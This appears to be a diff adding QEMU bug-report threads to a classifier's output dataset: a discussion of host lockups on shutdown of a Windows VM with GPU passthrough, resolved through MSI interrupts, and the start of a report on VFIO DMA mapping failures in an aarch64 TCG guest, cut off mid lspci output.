listen='0.0.0.0' keymap='en-us'> + <listen type='address' address='0.0.0.0'/> + </graphics> + <video> + <model type='qxl' ram='65536' vram='65536' vgamem='16384' heads='1'/> + <alias name='video0'/> + <address type='pci' domain='0x0000' bus='0x00' slot='0x01' function='0x0'/> + </video> + <memballoon model='virtio'> + <alias name='balloon0'/> + <address type='pci' domain='0x0000' bus='0x02' slot='0x05' function='0x0'/> + </memballoon> + </devices> +</domain> + + +Well, now we finally know that it isn't the i7-5820K's or X99 chipset's or LGA 2011 socket's faults. + +I have tried everything to keep it from happening but have had no success. The likely hood of an entire system lock up is based on how long the Win 10 VM is on. I personally have not timed it but usually i can shutdown/restart without problems for about an hour, maybe more. + +My Ubuntu vm is not effected by this issue. I am passing thru 4 vcpus and a SSD that the vm boots from. + +What can we do to help troubleshoot this issue? I find it strange the the problem happens at VM power off and not while the VM is in use. What happens at VM power off that can lock the entire system up and cause CPU stall errors. + +The posts in syslog vary from time to time but they all end in cpu stalls. + +Additional syslog image + +Additional syslog image + +Additional syslog image + +Additional syslog image + +I am not having any issues with my drives during normal operation on the server. I only see the ata errors when the system locks up. + +If there is something I can do please let me know. I have been trying to figure this out for over a month now but have had no luck. + + + +Remember, I think we've done enough testing to know that it isn't specifically the VM shutting down that causes this, but the binding or unbinding of PCI devices in sysfs, which is something a VM will do on shutdown if you're passing hardware into it. It *is* caused by the VM running for more than an hour, but it is *not* technically caused by the shutdown itself. I titled it as a shutdown issue because that's pretty much the only situation anybody's going to notice this problem, and we need to be Google-friendly. + +Has any one found a way to shutdown/restart the vm without causing a system lockup or is this just the way it is until a fix is found? + +I've got the same issue. Pretty much just as it has been described by everyone else. Same on shutdown or certain events. Same for delay. Similar setups and hardware/software. (X99, Arch, Qemu, libvirt, pcie passthrough, windows 10, etc...) I've attached my system info (Hardware, lscpu, Archlinux package versions, qemu/libvirt xml files). + +Brand new pc build, super fresh and clean system and images. Run 2 different Windows 10 vms, and occasionally another Arch vm for some game server stuffs. + +What is the proper way of going about troubleshooting such things? Is there a way to enable a kernel debug mode or anything? I develop software and hardware, and am a novice linux user, just haven't ever troubleshot a hard lock like this. Willing to help if anyone can give me some direction. :) + +Unsure how to edit a post. + +Also wanted to say, I can provide BIOS settings later, and any kernel logs if anyone wants. Wanted to note though that I am using UEFI with GPT style partitioning. I'm using bttrfs for the host fs. OVMF for guests (See package list in my system info for versioning). Guest main drive images are qcow2. Some SATA hard drives with NTFS partitions are passed through for each guest additional storage. Systemd Boot as the boot manager. + +Can't think of much else, but hoping to get this fixed up. + +Well, that's a bunch more stuff ruled out. My host is a BIOS with MBR partitioning, using ext4, and the images are all raw. For each guest, there's an image of the OS (so the C: drive on Windows and the / partition on Linux) on my SSD, and Windows also has a bigger image on my HDD (drive D:). I don't pass in any storage media; just the video card, its HDMI soundcard, and a USB card. + +Jimi, does your HDMI sound lag? I am using a usb sound card and tries switching to the GTX970 sound and I got horrible lag, sounds like sound is in slow motion. Was completely unusable. + + +Chris + +I know it didn't with the GTX 660. It worked perfectly fine. But, I went fully into Steam streaming everything before I got the 960, so the 960 could have that issue for all I know. + +I have been able to stop this from happening by recompiling my kernel without SND support. If you can live without sound in your host (it is still there in your guest if you pass through the sound device of your card) then try removing SND support from your hosts kernel. You can also try blacklisting the snd module and snd-hda-intel instead of removing it from your kernel if they are modules. I have not had a crash from a shutdown in a couple of months after removing SND from my hosts kernel. In my mind that points more of a finger at idea that the root of the problem has to do with binding/unbinding of the device. + +Chris, for your HDMI sound issue there are a couple of things that might help. I would have that issue immediately if I was using a certain virtual network card in the guest. Using virtio as your network driver helps quite a bit, however it would still mess up on me every now and again. In order to fix everything, I switched it over to MSI signalling from IRQ on the sound device in Windows 10. I also switched the graphics card driver over to MSI and have to switch them each time one of the nVidia drivers gets an update. + + +Hm. Sound was the issue in that other bug. Have you already confirmed that you don't have that other, similar bug? If you undo all the other fixes you've done, including enabling SND again, does the VM still crash if you have NO sound device assigned to it at all, whether it be a pass-thru device or a virtual one? + +I'm not really sure what the other similar bug was, but what I was experiencing was a Win10 VM locking up the host machine upon shutdown of the VM after several minutes of gaming (or even several hours of youtube/netflix). It didn't happen all of the time, but most of the time after the VM had be up for a while. + +I am positive that recompiling without SND support is when the host stopped crashing upon shutdown of the Windows 10 VM as I was only doing one change at a time. I had the issue for many months before removing CONFIG_SND. Since then, 2 months ago, I've upgraded qemu, libvirt, the kernel and win10 updates, including the nVidia drivers. I'm not really wanting to compile SND back in as my server is also doing a lot more than just hosting a Win10 VM and I don't want it to crash without anyone else trying the fix. If others try removing SND and continue to have the issue, I will recompile to help troubleshoot but I am very confident that is what stopped my system from locking up when shutting down a Windows 10 VM. If I were to take a guess, my guess is that just removing snd-hda-intel would do the trick. + +My hardware is a X99 board, i7-5820K, and a nVidia 980 graphics card being passed through to the guest. The host video card is a cheap 1x radeon with HDMI sound. + +I will try an blacklist the sound module in the unRaid kernel. Waiting on instructions on how to do it. + +Chris + +If your Windows VM does and always has a sound card being passed in (like the .1 address of your video card), then we can't know for sure that you don't have that other bug. In that other bug, you can fix the crash by not passing in any sound cards, real or virtual, to the VM. It's definitely not the same bug as this one. + +Well for now my issue is resolved. This morning when I was shutting down my unRaid server to blacklist the intel sound module, snd-hda-intel, I first stopped my ubuntu vm and my two dockers then logged out of unraid. I then proceeded to shutdown my Windows 10 VM and like magic it shutdown nicely without locking up the entire system. Also, I found out from unRaid tech support that the unRaid kernel does not include any sound modules and it was not necessary to blacklist them. + +So this is what I have changed since the last lockup last Thursday night. + +1. Removed the NVIDIA Audio hardware from the VM Setup. I did this because the sound was lagging horribly and I could not figure out how to fix it. So I removed the sound hardware and I am now using a USB sound card that is plugged into the USB3 PCI-Express card that is being passed to the VM. +2. I enabled MSI Interrupts on the GPU using this URL as my reference. + http://lime-technology.com/wiki/index.php/UnRAID_6/VM_Guest_Support#Enable_MSI_for_Interrupts_to_Fix_HDMI_Audio_Support + +I should also mention that while I have the system NIC, USB1, and USB2 virtual modules mapped, they are disabled in the VM. I did this to improve latency issues inside the VM. I am using a wireless NIC plugged into the USB3 PCI-Express card and I do not require USB1 or USB2. These changes where made on Thursday prior to the last lockup, so while I do believe they have helped overall latency they had no effect on the system locking up. + +USB3 card is handling Logitech G910 keyboard, WOW MMO Legendary Gaming Mouse, ASUS XONARU3 Sound Card, ASUS USB-AC56 Wireless NIC, and a USB Mouse. + +I still would like to add the NVIDIA Sound card back into the VM and when I do I will enable MSI Interrupts. My goal is not not have to use the USB Sound card. + +See next post for current VM setup. + + +Current VM Config + +<domain type='kvm' id='1'> + <name>csmccarronwx00</name> + <uuid>82c5e4f6-6991-cd5f-8207-49db04386cc9</uuid> + <description>csmccarronwx00 i440fx-2.5 OVMF</description> + <metadata> + <vmtemplate xmlns="unraid" name="Windows 10" icon="windows.png" os="windows10"/> + </metadata> + <memory unit='KiB'>10485760</memory> + <currentMemory unit='KiB'>10485760</currentMemory> + <memoryBacking> + <nosharepages/> + </memoryBacking> + <vcpu placement='static'>12</vcpu> + <cputune> + <vcpupin vcpu='0' cpuset='6'/> + <vcpupin vcpu='1' cpuset='18'/> + <vcpupin vcpu='2' cpuset='7'/> + <vcpupin vcpu='3' cpuset='19'/> + <vcpupin vcpu='4' cpuset='8'/> + <vcpupin vcpu='5' cpuset='20'/> + <vcpupin vcpu='6' cpuset='9'/> + <vcpupin vcpu='7' cpuset='21'/> + <vcpupin vcpu='8' cpuset='10'/> + <vcpupin vcpu='9' cpuset='22'/> + <vcpupin vcpu='10' cpuset='11'/> + <vcpupin vcpu='11' cpuset='23'/> + <emulatorpin cpuset='1-3,13-15'/> + </cputune> + <resource> + <partition>/machine</partition> + </resource> + <os> + <type arch='x86_64' machine='pc-i440fx-2.5'>hvm</type> + <loader readonly='yes' type='pflash'>/usr/share/qemu/ovmf-x64/OVMF_CODE-pure-efi.fd</loader> + <nvram>/etc/libvirt/qemu/nvram/82c5e4f6-6991-cd5f-8207-49db04386cc9_VARS-pure-efi.fd</nvram> + <boot dev='hd'/> + <boot dev='cdrom'/> + <bootmenu enable='yes' timeout='3000'/> + </os> + <features> + <acpi/> + <apic/> + <hyperv> + <relaxed state='on'/> + <vapic state='on'/> + <spinlocks state='on' retries='8191'/> + <vendor id='none'/> + </hyperv> + </features> + <cpu mode='host-passthrough'> + <topology sockets='1' cores='6' threads='2'/> + </cpu> + <clock offset='localtime'> + <timer name='hypervclock' present='yes'/> + <timer name='hpet' present='no'/> + </clock> + <on_poweroff>destroy</on_poweroff> + <on_reboot>restart</on_reboot> + <on_crash>restart</on_crash> + <devices> + <emulator>/usr/local/sbin/qemu</emulator> + <disk type='block' device='disk'> + <driver name='qemu' type='raw' cache='writeback'/> + <source dev='/dev/disk/by-id/ata-Samsung_SSD_850_PRO_256GB_S1SUNSAG361503D'/> + <backingStore/> + <target dev='hdc' bus='sata'/> + <alias name='sata0-0-2'/> + <address type='drive' controller='0' bus='0' target='0' unit='2'/> + </disk> + <disk type='block' device='disk'> + <driver name='qemu' type='raw' cache='writeback'/> + <source dev='/dev/disk/by-id/ata-SanDisk_Ultra_II_480GB_161322801967'/> + <backingStore/> + <target dev='hdd' bus='sata'/> + <alias name='sata0-0-3'/> + <address type='drive' controller='0' bus='0' target='0' unit='3'/> + </disk> + <controller type='usb' index='0' model='ich9-ehci1'> + <alias name='usb'/> + <address type='pci' domain='0x0000' bus='0x00' slot='0x07' function='0x7'/> + </controller> + <controller type='usb' index='0' model='ich9-uhci1'> + <alias name='usb'/> + <master startport='0'/> + <address type='pci' domain='0x0000' bus='0x00' slot='0x07' function='0x0' multifunction='on'/> + </controller> + <controller type='usb' index='0' model='ich9-uhci2'> + <alias name='usb'/> + <master startport='2'/> + <address type='pci' domain='0x0000' bus='0x00' slot='0x07' function='0x1'/> + </controller> + <controller type='usb' index='0' model='ich9-uhci3'> + <alias name='usb'/> + <master startport='4'/> + <address type='pci' domain='0x0000' bus='0x00' slot='0x07' function='0x2'/> + </controller> + <controller type='pci' index='0' model='pci-root'> + <alias name='pci.0'/> + </controller> + <controller type='sata' index='0'> + <alias name='sata0'/> + <address type='pci' domain='0x0000' bus='0x00' slot='0x03' function='0x0'/> + </controller> + <controller type='virtio-serial' index='0'> + <alias name='virtio-serial0'/> + <address type='pci' domain='0x0000' bus='0x00' slot='0x04' function='0x0'/> + </controller> + <interface type='bridge'> + <mac address='52:54:00:86:5a:91'/> + <source bridge='br0'/> + <target dev='vnet0'/> + <model type='virtio'/> + <alias name='net0'/> + <address type='pci' domain='0x0000' bus='0x00' slot='0x02' function='0x0'/> + </interface> + <serial type='pty'> + <source path='/dev/pts/0'/> + <target port='0'/> + <alias name='serial0'/> + </serial> + <console type='pty' tty='/dev/pts/0'> + <source path='/dev/pts/0'/> + <target type='serial' port='0'/> + <alias name='serial0'/> + </console> + <channel type='unix'> + <source mode='bind' path='/var/lib/libvirt/qemu/channel/target/domain-csmccarronwx00/org.qemu.guest_agent.0'/> + <target type='virtio' name='org.qemu.guest_agent.0' state='disconnected'/> + <alias name='channel0'/> + <address type='virtio-serial' controller='0' bus='0' port='1'/> + </channel> + <hostdev mode='subsystem' type='pci' managed='yes'> + <driver name='vfio'/> + <source> + <address domain='0x0000' bus='0x0a' slot='0x00' function='0x0'/> + </source> + <alias name='hostdev0'/> + <address type='pci' domain='0x0000' bus='0x00' slot='0x05' function='0x0'/> + </hostdev> + <hostdev mode='subsystem' type='pci' managed='yes'> + <driver name='vfio'/> + <source> + <address domain='0x0000' bus='0x0c' slot='0x00' function='0x0'/> + </source> + <alias name='hostdev1'/> + <address type='pci' domain='0x0000' bus='0x00' slot='0x08' function='0x0'/> + </hostdev> + <memballoon model='virtio'> + <alias name='balloon0'/> + <address type='pci' domain='0x0000' bus='0x00' slot='0x09' function='0x0'/> + </memballoon> + </devices> +</domain> + + +SYSLINUX.CFG + +default /syslinux/menu.c32 +menu title Lime Technology, Inc. +prompt 0 +timeout 50 +label unRAID OS + kernel /bzimage + append isolcpus=4,16,5,17,6,18,7,19,8,20,9,21,10,22,11,23 pci-stub.ids=1b6f:7052,10de:13c2,10de:0fbb intel_iommu=on iommu=pt vfio_iommu_type1.allow_unsafe_interrupts=1 pcie_acs_override=downstream initrd=/bzroot +label unRAID OS GUI Mode + menu default + kernel /bzimage + append isolcpus=4,16,5,17,6,18,7,19,8,20,9,21,10,22,11,23 pci-stub-ids=1b6f:7052,10de:13c2,10de:0fbb intel_iommu=on iommu=pt vfio_iommu_type1.allow_unsafe_interrupts=1 pcie_acs_override=downstream initrd=/bzroot,/bzroot-gui +label unRAID OS Safe Mode (no plugins, no GUI) + kernel /bzimage + append initrd=/bzroot unraidsafemode +label Memtest86+ + kernel /memtest + +pci-stub-ids=1b6f:7052,10de:13c2,10de:0fbb +1b6f:7052 = Etron Technology, Inc. EJ188/EJ198 USB 3.0 Host Controller +10de:13c2 = NVIDIA Corporation GM204 [GeForce GTX 970] +10de:0fbb = NVIDIA Corporation GM204 High Definition Audio Controller + +So guys, new information. + +I was having trouble getting the HTC Vive passed through in host mode. The thing shows up as 10+ devices! I've also some logitech webcams that don't seem to work via usb host passthrough. So I gave windows my entire usb controller (only 1 for all my ports on this mobo). Since then, I haven't noticed an issue. Furthermore, waaaay more stable overall. I used to get random blue screens. + +I'm going to order a usb3 pcie card for my other windows host. For now, I'm using a remote desktop connection to it for IO. + +Anyway, still tinkering. I'm curious if anyone having the issues would try with no usb 'host' passthrough? + +I've been not using USB host passthrough this whole time, as my PCI USB3 card covers that need pretty well. Speaking of those cards, for those of you who also use one, does it work perfectly? If so, I'd like to know its model so I can go buy it, because while my card works, about 50% of the time I try to use it, I get some bad output when I run "dmesg | grep -i vfio" (the standard spam when a device doesn't get passed through properly that's full of messages related to power management) and the VM doesn't seem to have any access to it. When this happens, I have to restart the whole host to get another 50% chance at using the card. + +FYI I had a similar issue years ago until I figured out that adding the vgarom file fixes it, eg.: + + -device vfio-pci,host=04:00.0,bus=root.1,multifunction=on,x-vga=on,addr=0.0,romfile=Sapphire.R7260X.1024.131106.rom + +For radeon, you can look in /sys. eg. we see /sys/devices/pci0000:00/0000:00:0b.0/0000:04:00.0/rom, and first we `echo 1 > rom` to prevent "invalid argument" error, and then `cat rom > ~/yourfile.rom` and you have it. + +For nouveau, you have to bind nouveau driver (rather than vfio-pci) and you can find it somewhere like /sys/kernel/debug/dri/0/vbios.rom + +Can someone else please confirm that? I can't test it because nouveau doesn't support the GTX 960 yet. If it turns out solid, then I could just ask EVGA support for the rom file. + +I just added the romfile argument to mine, will report back later tonight. (Don't want to reboot now, as my machine will hang and I'm at work) + +I got impatient and got the rom file from EVGA and loaded it in, but for me and my GTX 960, I get no graphical output when it's loaded. I don't know anything beyond that. I don't get any error messages in dmesg or anything--just no video output whatsoever. It was also strangely booting into the Tianocore UEFI command line instead of Windows, so there could be something else going on here for me that stayed broken after I removed the romfile option. + +I managed to fix that issue and properly load the VM with the rom file (what had gone wrong was it inexplicably acted like it had no hard drives, until I restored the libvirt XML file from a backup). I got a good test out of it: played video games in Windows for 2 hours, with the rom file loaded. It still froze on shutdown. So that's confirmedly not a fix. + +My system has been behaving well the last couple of weeks. I can reboot at will with no lockups. I am still not passing the NVIDIA sound card to the VM and have GPU configure to use MSI interrupts. I am not passing the ROM for my GTX 970 gpu. + +I know this is not related but I was able to lockup the entire system by installing BOINC software and configured it to use 100% of cpu's and cpu time. Backed those 2 settings down to 90% and no more lockups. + + + +What are MSI interrupts and how did you configure your card to use them? + +Apparently Passthrough devices work better when using a MSI Interrupt instead of a traditional interrupt. + +See post 32 https://bugs.launchpad.net/qemu/+bug/1580459/comments/32 item 2. + +2. I enabled MSI Interrupts on the GPU using this URL as my reference. + http://lime-technology.com/wiki/index.php/UnRAID_6/VM_Guest_Support#Enable_MSI_for_Interrupts_to_Fix_HDMI_Audio_Support + +Chris + +I enabled MSI interrupts, and now for 2 nights in a row I gamed 2 hours straight and shut down the Windows VM without a freeze. Never in my 7 months of living with this bug have I gotten no freeze twice in a row. I think the MSI interrupts have fixed it for me, and no, I did not remove my HDMI sound card from the VM, so that wasn't part of the issue and should be safe to leave in for those who needed this fix. That's 2 people who this fix has worked for now. Hopefully it'll work for the rest of you, too. I'll post back if I ever get this freeze again after confirmed it hasn't suddenly switched my hardware off MSI interrupts or anything. + +Note: I didn't just make my video card use MSI interrupts. Most of the VM's hardware was already set to use them by default--namely the VirtIO stuff--and I set EVERYTHING else to also use it, which is the video card, its HDMI, the USB3 card, and the virtual USB2 controller that I don't need but libvirt refuses to remove. I figured that'd work out because the USB3 card is also PCIe, which works better with MSI, and the USB2 controller doesn't matter. So, if this doesn't fix it for you, try making every last MSI-capable device use MSI interrupts. + +Thats good to know, I want to reenable my Nvidia sound card as well. + +Note: When you update the video card driver, it will disable the MSI interrupt so you will have to reenable it. + + + +I was also experiencing the host hard locking when shutting down a Windows 10 guest with a Nvidia GPU passed-through, but the issue appears to be completely solved after switching the card to MSI mode in the Windows guest. + +However, I would be interested in understanding *why* using the card in line-interrupt mode in the guest causes the host to lockup when the guest relinquishes control of the device. Is it a bug in qemu or vfio, or even the Linux kernel? + +I don't know if its relevant, but I've noticed when the card is not being used by the guest it is listed as MSI: Enable- by lspci, suggesting that vfio is keeping the card in line-interrupt mode when not in use. + +Oh, that is interesting. Using lscpi -v on my computer reveals that Linux tends to default to enabling MSI on my PCIe devices that support it (since the common opinion is that it's better for PCIe), including all my graphics cards, so the fact that vfio-pci and Windows 10 both default to disabling it is pretty odd indeed. + +(Forgot to clarify: yes, vfio-pci devices disable MSI by default for me just like for Clif Houck, but all other PCIe devices have it enabled.) + +Hi guys, not sure if I'm on the right track here but I think I'm experiencing the same issue. My install might be a bit of a mess combining bits from the VFIO Tips site and Ubuntu guides on GPU passthrough, but I *did* have it all working for a few hours at a stretch before I got this lock up. + +The trouble with this is that after the host lockup, the Windows VM seems to corrupt the EFI config or something like that as I can never get it to boot again properly, even though the main partition seems fine when tested in a bootable WinPE distro. + +I'd be happy to supply versions and configs to help if it's related however. + +Enabling MSI interrupts works for me. One note is that Windows updates will sometimes revert the changes so if this starts breaking after an update you may need to re-apply the registry changes. + +Updating NVIDIA drivers in the guest also seems to disable MSI for some reason. Oddly enough I did not run into the host hard locking though. + +I haven't remembered to reset those interrupts in a year, but I also haven't remembered to update my drivers in about as long, so I could be still on the right setting. I've also been on AMD for that year, and I don't remember whether this bug applies to modern AMD cards. + +I've been experiencing something that sounds very similar to what has been described in this issue post and want to see if you guys think it's the same issue. For me from a cold boot everything is fine for a while and I can restart my vm and such just fine. but after a long time or stressful stuff mining/gaming if I shutdown my vm the host displays will all go to sleep and the system locks up which I had been assuming is a display driver crash. I can also sometimes trigger the exact same lockup by calling lspci. once such a lockup has happened I have to hard reset. where this gets even weirder is that after this happens I will get the same lockup during the startup process around when xorg loads. when this happens I either have to leave my computer alone for around 30 minutes to an hour, or I can get it to boot by disabling iommu with iommu=off as a kernel param, and then if I wait around 30 minutes to an hour I can restart and it will boot fine again with iommu=pt (I get a kernel panic if i don't use iommu=pt) + +Hardware +Ryzen R5 1600 +asrock ab350m pro4 +32gb ram +Host gpu RX580 +Guest gpu GTX1070 + +Looking through old bug tickets... can you still reproduce this issue with the latest available versions? Or could we close this ticket nowadays? + +I am no longer having any issues at all. I am using the NVidia Sound Card as well. + +My hardware and the way I run my VM are both now very different from back then, and I haven't had the issue described here for years. So either it was fixed or I'm no longer an accurate test subject. + +Ok, thanks for answering! So I'm closing this issue now. In case anybody still has similar issues, please open a new bug ticket instead. + diff --git a/results/classifier/deepseek-1/output/stability./1869006 b/results/classifier/deepseek-1/output/stability./1869006 new file mode 100644 index 00000000..5c829ceb --- /dev/null +++ b/results/classifier/deepseek-1/output/stability./1869006 @@ -0,0 +1,342 @@ + +PCIe cards passthrough to TCG guest works on 2GB of guest memory but fails on 4GB (vfio_dma_map invalid arg) + +During one meeting coworker asked "did someone tried to passthrough PCIe card to other arch guest?" and I decided to check it. + +Plugged SATA and USB3 controllers into spare slots on mainboard and started playing. On 1GB VM instance it worked (both cold- and hot-plugged). On 4GB one it did not: + +Błąd podczas uruchamiania domeny: internal error: process exited while connecting to monitor: 2020-03-25T13:43:39.107524Z qemu-system-aarch64: -device vfio-pci,host=0000:29:00.0,id=hostdev0,bus=pci.3,addr=0x0: VFIO_MAP_DMA: -22 +2020-03-25T13:43:39.107560Z qemu-system-aarch64: -device vfio-pci,host=0000:29:00.0,id=hostdev0,bus=pci.3,addr=0x0: vfio 0000:29:00.0: failed to setup container for group 28: memory listener initialization failed: Region mach-virt.ram: vfio_dma_map(0x563169753c80, 0x40000000, 0x100000000, 0x7fb2a3e00000) = -22 (Invalid argument) + +Traceback (most recent call last): + File "/usr/share/virt-manager/virtManager/asyncjob.py", line 75, in cb_wrapper + callback(asyncjob, *args, **kwargs) + File "/usr/share/virt-manager/virtManager/asyncjob.py", line 111, in tmpcb + callback(*args, **kwargs) + File "/usr/share/virt-manager/virtManager/object/libvirtobject.py", line 66, in newfn + ret = fn(self, *args, **kwargs) + File "/usr/share/virt-manager/virtManager/object/domain.py", line 1279, in startup + self._backend.create() + File "/usr/lib64/python3.8/site-packages/libvirt.py", line 1234, in create + if ret == -1: raise libvirtError ('virDomainCreate() failed', dom=self) +libvirt.libvirtError: internal error: process exited while connecting to monitor: 2020-03-25T13:43:39.107524Z qemu-system-aarch64: -device vfio-pci,host=0000:29:00.0,id=hostdev0,bus=pci.3,addr=0x0: VFIO_MAP_DMA: -22 +2020-03-25T13:43:39.107560Z qemu-system-aarch64: -device vfio-pci,host=0000:29:00.0,id=hostdev0,bus=pci.3,addr=0x0: vfio 0000:29:00.0: failed to setup container for group 28: memory listener initialization failed: Region mach-virt.ram: vfio_dma_map(0x563169753c80, 0x40000000, 0x100000000, 0x7fb2a3e00000) = -22 (Invalid argument) + + +I played with memory and 3054 MB is maximum value possible to boot VM with coldplugged host PCIe cards. + +Qemu command line for booting VM was generated by libvirt: + +/usr/bin/qemu-system-aarch64 +-name guest=fedora-aarch64-pcie,debug-threads=on +-S +-object secret,id=masterKey0,format=raw,file=/var/lib/libvirt/qemu/domain-1-fedora-aarch64-pcie/master-key.aes +-blockdev {"driver":"file","filename":"/usr/share/edk2/aarch64/QEMU_EFI-pflash.raw","node-name":"libvirt-pflash0-storage","auto-read-only":true,"discard":"unmap"} +-blockdev {"node-name":"libvirt-pflash0-format","read-only":true,"driver":"raw","file":"libvirt-pflash0-storage"} +-blockdev {"driver":"file","filename":"/var/lib/libvirt/qemu/nvram/fedora-aarch64-pcie_VARS.fd","node-name":"libvirt-pflash1-storage","auto-read-only":true,"discard":"unmap"} +-blockdev {"node-name":"libvirt-pflash1-format","read-only":false,"driver":"raw","file":"libvirt-pflash1-storage"} +-machine virt-4.2,accel=tcg,usb=off,dump-guest-core=off,gic-version=2,pflash0=libvirt-pflash0-format,pflash1=libvirt-pflash1-format +-cpu cortex-a57 +-m 2048 +-overcommit mem-lock=off +-smp 3,sockets=3,cores=1,threads=1 +-uuid 139dc97a-1511-480d-b215-c58a5c80e646 +-no-user-config +-nodefaults +-chardev socket,id=charmonitor,fd=32,server,nowait +-mon chardev=charmonitor,id=monitor,mode=control +-rtc base=utc +-no-shutdown +-boot strict=on +-device pcie-root-port,port=0x8,chassis=1,id=pci.1,bus=pcie.0,multifunction=on,addr=0x1 +-device pcie-root-port,port=0x9,chassis=2,id=pci.2,bus=pcie.0,addr=0x1.0x1 +-device pcie-root-port,port=0xa,chassis=3,id=pci.3,bus=pcie.0,addr=0x1.0x2 +-device pcie-root-port,port=0xb,chassis=4,id=pci.4,bus=pcie.0,addr=0x1.0x3 +-device pcie-root-port,port=0xc,chassis=5,id=pci.5,bus=pcie.0,addr=0x1.0x4 +-device pcie-root-port,port=0xd,chassis=6,id=pci.6,bus=pcie.0,addr=0x1.0x5 +-device pcie-root-port,port=0xe,chassis=7,id=pci.7,bus=pcie.0,addr=0x1.0x6 +-device pcie-root-port,port=0xf,chassis=8,id=pci.8,bus=pcie.0,addr=0x1.0x7 +-device virtio-serial-pci,id=virtio-serial0,bus=pci.2,addr=0x0 +-netdev tap,fd=29,id=hostnet0 +-device virtio-net-pci,netdev=hostnet0,id=net0,mac=52:54:00:87:3e:d3,bus=pci.1,addr=0x0 +-chardev pty,id=charserial0 +-serial chardev:charserial0 +-chardev socket,id=charchannel0,fd=33,server,nowait +-device virtserialport,bus=virtio-serial0.0,nr=1,chardev=charchannel0,id=channel0,name=org.qemu.guest_agent.0 +-spice port=5900,addr=127.0.0.1,disable-ticketing,image-compression=off,seamless-migration=on +-device virtio-gpu-pci,id=video0,max_outputs=1,bus=pci.7,addr=0x0 +-device vfio-pci,host=0000:29:00.0,id=hostdev0,bus=pci.3,addr=0x0 +-device vfio-pci,host=0000:28:00.0,id=hostdev1,bus=pci.4,addr=0x0 +-device virtio-balloon-pci,id=balloon0,bus=pci.5,addr=0x0 +-object rng-random,id=objrng0,filename=/dev/urandom +-device virtio-rng-pci,rng=objrng0,id=rng0,bus=pci.6,addr=0x0 +-sandbox on,obsolete=deny,elevateprivileges=deny,spawn=deny,resourcecontrol=deny +-msg timestamp=on + + + +lspci -vvv output of used cards (host side): + +28:00.0 USB controller: Renesas Technology Corp. uPD720201 USB 3.0 Host Controller (rev 03) (prog-if 30 [XHCI]) + DeviceName: RTL8111EPV + Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx+ + Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx- + Latency: 0, Cache Line Size: 64 bytes + Interrupt: pin A routed to IRQ 42 + Region 0: Memory at f7700000 (64-bit, non-prefetchable) [size=8K] + Capabilities: [50] Power Management version 3 + Flags: PMEClk- DSI- D1- D2- AuxCurrent=375mA PME(D0+,D1-,D2-,D3hot+,D3cold+) + Status: D0 NoSoftRst+ PME-Enable- DSel=0 DScale=0 PME- + Capabilities: [70] MSI: Enable- Count=1/8 Maskable- 64bit+ + Address: 0000000000000000 Data: 0000 + Capabilities: [90] MSI-X: Enable+ Count=8 Masked- + Vector table: BAR=0 offset=00001000 + PBA: BAR=0 offset=00001080 + Capabilities: [a0] Express (v2) Endpoint, MSI 00 + DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s unlimited, L1 unlimited + ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset- SlotPowerLimit 0.000W + DevCtl: CorrErr- NonFatalErr- FatalErr- UnsupReq- + RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop+ + MaxPayload 128 bytes, MaxReadReq 512 bytes + DevSta: CorrErr- NonFatalErr- FatalErr- UnsupReq- AuxPwr+ TransPend- + LnkCap: Port #0, Speed 5GT/s, Width x1, ASPM L0s L1, Exit Latency L0s <4us, L1 unlimited + ClockPM+ Surprise- LLActRep- BwNot- ASPMOptComp- + LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk+ + ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt- + LnkSta: Speed 5GT/s (ok), Width x1 (ok) + TrErr- Train- SlotClk+ DLActive- BWMgmt- ABWMgmt- + DevCap2: Completion Timeout: Not Supported, TimeoutDis+, NROPrPrP-, LTR+ + 10BitTagComp-, 10BitTagReq-, OBFF Not Supported, ExtFmt-, EETLPPrefix- + EmergencyPowerReduction Not Supported, EmergencyPowerReductionInit- + FRS-, TPHComp-, ExtTPHComp- + AtomicOpsCap: 32bit- 64bit- 128bitCAS- + DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR+, OBFF Disabled + AtomicOpsCtl: ReqEn- + LnkCtl2: Target Link Speed: 5GT/s, EnterCompliance- SpeedDis- + Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS- + Compliance De-emphasis: -6dB + LnkSta2: Current De-emphasis Level: -3.5dB, EqualizationComplete-, EqualizationPhase1- + EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest- + Capabilities: [100 v1] Advanced Error Reporting + UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol- + UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol- + UESvrt: DLP+ SDES+ TLP- FCP+ CmpltTO- CmpltAbrt- UnxCmplt- RxOF+ MalfTLP+ ECRC- UnsupReq- ACSViol- + CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- AdvNonFatalErr- + CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- AdvNonFatalErr+ + AERCap: First Error Pointer: 00, ECRCGenCap- ECRCGenEn- ECRCChkCap- ECRCChkEn- + MultHdrRecCap- MultHdrRecEn- TLPPfxPres- HdrLogCap- + HeaderLog: 00000000 00000000 00000000 00000000 + Capabilities: [150 v1] Latency Tolerance Reporting + Max snoop latency: 1048576ns + Max no snoop latency: 1048576ns + Kernel driver in use: xhci_hcd + +29:00.0 Mass storage controller: Silicon Image, Inc. SiI 3132 Serial ATA Raid II Controller (rev 01) + Subsystem: Silicon Image, Inc. SiI 3132 Serial ATA Raid II Controller + Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx- + Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx- + Latency: 0, Cache Line Size: 64 bytes + Interrupt: pin A routed to IRQ 66 + Region 0: Memory at f7684000 (64-bit, non-prefetchable) [size=128] + Region 2: 